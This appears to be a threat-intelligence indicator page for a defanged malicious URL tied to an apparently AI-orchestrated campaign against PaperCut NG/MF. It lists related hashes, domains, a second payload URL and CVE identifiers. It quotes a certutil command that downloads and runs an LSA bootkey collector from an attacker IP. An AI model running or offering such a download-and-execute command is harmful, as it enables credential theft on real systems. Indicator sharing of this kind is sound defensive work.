hxxp://45.142.193[.]132:8000/lsa_collect.exeURL
Reported by 1 independent source · first reported by GreyNoise · last reported
Last reported 1 month ago
What the reports say
1 report, newest first · the exact sentence from each-
Agents Gone Wild: An AI-Orchestrated Global Campaign Against PaperCut NG/MF“certutil -urlcache -split -f "hxxp://45.142.193[.]132:8000/lsa_collect.exe" C:\Windows\Temp\lsa_collect.exe & C:\Windows\Temp\lsa_collect.exeDownloading and executing LSA bootkey collector”
Indicators reported together
named in the same reports- netlas[.]ioin 1 report
- 528cd4e69ecfa5191adbcf6ef28667bfin 1 report
- ce870a91e8d27e8f663f0687abc60b04in 1 report
- a6437ac3d6798090a218520985d36a3fin 1 report
- fc92dfafa7aa741c5f2b9cbcf75d1d19in 1 report
- 974decb9ff4c8f9ccb0937c96d513347in 1 report
- pc-system[.]hivin 1 report
- pc-security[.]hivin 1 report
- 45.142.193[.]132in 1 report
- hxxp://45.142.193[.]132:8089/agent5.exeURLin 1 report
Copy these 10 indicators · defanged
Also named with it: CVE-2026-81578, CVE-2026-82078, CVE-2021-42278, CVE-2021-42287, CVE-2023-27532
Thanks — we review every report.